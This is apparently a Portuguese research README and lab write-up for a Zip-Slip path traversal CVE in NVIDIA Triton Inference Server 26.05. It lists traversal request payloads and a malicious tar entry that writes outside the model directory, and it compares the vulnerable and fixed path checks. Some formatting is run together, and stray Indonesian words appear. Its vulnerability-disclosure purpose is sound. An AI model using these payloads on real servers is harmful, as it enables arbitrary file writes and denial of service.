
Prova de conceito de exploit para CVE-2026-47627, uma vulnerabilidade de path traversal no NVIDIA Triton Inference Server que leva à escrita arbitrária de arquivos via Zip-Slip. Inclui análise detalhada, ambiente de laboratório e scripts de exploit com um clique.
Writeup completo dos resultados da pesquisa & PoC neste repositório (imagem
nvcr.io/nvidia/tritonserver:26.05-py3/server v2.69.0). Repositório configurado para sempreexplicitpara que o PoC funcione sem restart via gRPC.
| Campo | Valor |
|---|---|
| CVE | CVE-2026-47627 |
| CNA | [email protected] |
| Publicação | 2026-08-18 (NVD Aguardando Análise) |
| Boletim | NV 5865 → https://github.com/NVIDIA/product-security/tree/main/2026/5865 |
| CVSS 3.1 | 9.8 CRÍTICO AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-22 Path Traversal |
| Afetado | 0.0-26.05 (server v2.69.0 / core r26.05) |
| Corrigido | 26.06 (server v2.70.0 / core r26.06) |
| Impacto | DoS (descrição da CNA) — esta pesquisa comprova escrita de arquivo fora de /models via Zip-Slip, que pode ser expandida para DoS/exaustão de recursos |
| Crédito | Martin Brodeur |
Nota honesta: A descrição da CNA é apenas
path traversal → DoSsem detalhes. Este writeup reconstrói a localização do bug via diffr26.05..r26.06e testes diretos no container26.05-py3.
Imagem: nvcr.io/nvidia/tritonserver:26.05-py3 (TRITON_VERSION 2.69.0)
Compose sempre explicit (já corrigido neste repositório):
# docker-compose.yml:12
command: ["tritonserver", "--model-repository=/models", "--model-control-mode=explicit", "--log-verbose=0"]
run_triton.bat:10, run_triton.ps1:11, run_triton.sh:12 também já estão explicit.
Modo Triton:
NONE (padrão upstream) → carrega uma vez na inicialização, POST /v2/repository/models/.../load → 503, precisa de restart para carregar novo modelo.POLL → verifica o repositório a cada segundo, carrega automaticamente, ainda bloqueia load explícito.EXPLICIT (este repositório) → não verifica, mas abre gRPC load_model / POST /load → PoC sem restart via gRPC.Portas:
| 8000 | HTTP REST | v2/health, v2/models, v2/repository |
| 8001 | gRPC | RepositoryModelLoad, ModelInfer |
| 8002 | Métricas | Prometheus |
Modelo inicial:
model_repository/
├── echo_python/ (python backend, model.py)
│ └── 1/model.py
└── identity_onnx/ (onnxruntime, model.onnx ~1KB)
Quickstart:
docker compose up -d
docker compose logs -f
py scripts/client_test.py # health + infer identity_onnx
User input (model_name / tar entry) ──► join(parent, child) ──► canonicalize ──► cek "child di dalam parent?" ──► buka file
│ │ │ │ │
└──► "../tmp/pwn" /models + "/../tmp/pwn" = /models/../tmp/pwn → /tmp/pwn rfind vs find + '/' check FileExists / extract
join sem canonicalize ou verificação rfind(parent,0)==0 incorreta (correspondência parcial /models vs /models_evil), então ../ pode escapar./dev/zero, /proc/self/mem, ou um tar contendo ../../ que sobrescreve arquivos do sistema → hang / OOM / crash.Três perguntas de pesquisa (do relatório inicial):
model_name no gRPC RepositoryModelLoad, EXECUTION_ENV_PATH tar entry, override file:, TRITON_BATCH_STRATEGY_PATH.posixpath.join(repo, model_name) / temp_dir + "/" + file_name + IsChildPathEscapingParentPath.DoS via exaustão de recursos / hang. Neste repositório é comprovada escrita de arquivo em /tmp/poc_marker.Repositório core (r26.05..r26.06):
src/filesystem/api.cc:407 IsChildPathEscapingParentPath — correção dcb315d + 72f3d9b:
// VULNERÁVEL (r26.05):
absolute_child.rfind(absolute_parent,0) != 0
// → bug de correspondência parcial: prefixo "/models" de "/models_evil/file" considerado interno
// CORRIGIDO (r26.06):
canonical_child.find(canonical_parent,0)==0 &&
((child.size() > parent.size() && child[parent.size()]=='/') || child.size()==parent.size())
// → deve ter '/' após o prefixo, "/models_evil" agora corretamente fora
Usado em src/backend_model.cc:196 (TRITON_BATCH_STRATEGY_PATH) e src/model_repository_manager/model_repository_manager.cc:162 (file:).
src/model_repository_manager/model_repository_manager.cc:62 ValidateModelName — core#472/#481 (março de 2026, já em 26.05 mas reforçado em 26.06):
if (trimmed==".." || trimmed.find('/')!=npos) return INVALID_ARG "must not contain path traversal"
Isso faz gRPC load_model('../tmp/pwn') → 400 INVALID_ARGUMENT em 26.05 (já bloqueado). Mas %2f (/ codificado) passa porque não é / literal → 500 poll literal.
python_be.cc:292 EXECUTION_ENV_PATH — e520f8c7 teste zipslip_test.py:
Tar extraído sem verificação de .. / caminho absoluto. Entry ../../poc_marker de /models/poc_exploit/malicious_env.tar.gz é extraído para /tmp/poc_marker (fora do diretório do modelo). Correção em 26.06: usa ARCHIVE_EXTRACT_SECURE_NODOTDOT|NOABSOLUTEPATHS + verificação IsChildPathEscapingParentPath.
Repositório server (r26.05..r26.06): apenas sagemaker_server.cc:1027 (verificação RE2::FullMatch) + http_server.cc:2440 (atoi→stoi), não é o caminho deste CVE.
Conclusão: O caminho model_name via HTTP/gRPC já estava bloqueado em 26.05 pelo ValidateModelName, mas o Zip-Slip do tar não — é isso que o PoC deste repositório explora.
| Vetor | Payload | Resultado 26.05 | Atinge? |
|---|---|---|---|
HTTP raw ../ | POST /v2/repository/models/../tmp/pwn/load | 404 (normalização de rota) | ❌ |
HTTP codificado ..%2f | POST /v2/repository/models/..%2ftmp%2fpwn/load | 500 literal, poll /models/..%2ftmp%2fpwn não existe | ❌ (500 falso, não é traversal) |
gRPC raw ../tmp/pwn | load_model('../tmp/pwn') | 400 INVALID_ARGUMENT | ❌ (já bloqueado) |
gRPC codificado ..%2f | load_model('..%2ftmp%2fpwn') | 500 poll literal | ❌ |
Override file: ../models_evil | file:../models_evil/pwn | 400/500 dependendo da correspondência parcial | ⚠️ (depende do bug IsChildPathEscapingParentPath, mas já bloqueado pelo ValidateModelName para model_name) |
EXECUTION_ENV_PATH tar ../../poc_marker | malicious_env.tar.gz entry ../../poc_marker | 200 + arquivo em /tmp/poc_marker | ✅ VULNERÁVEL |
A analogia
500 vs 400no writeup antigo estava errada:500= arquivo não existe (porta não existe),400= rejeitado pela validação (porta trancada). Nenhum dos dois entra. Apenas200+ arquivo em/tmpé evidência.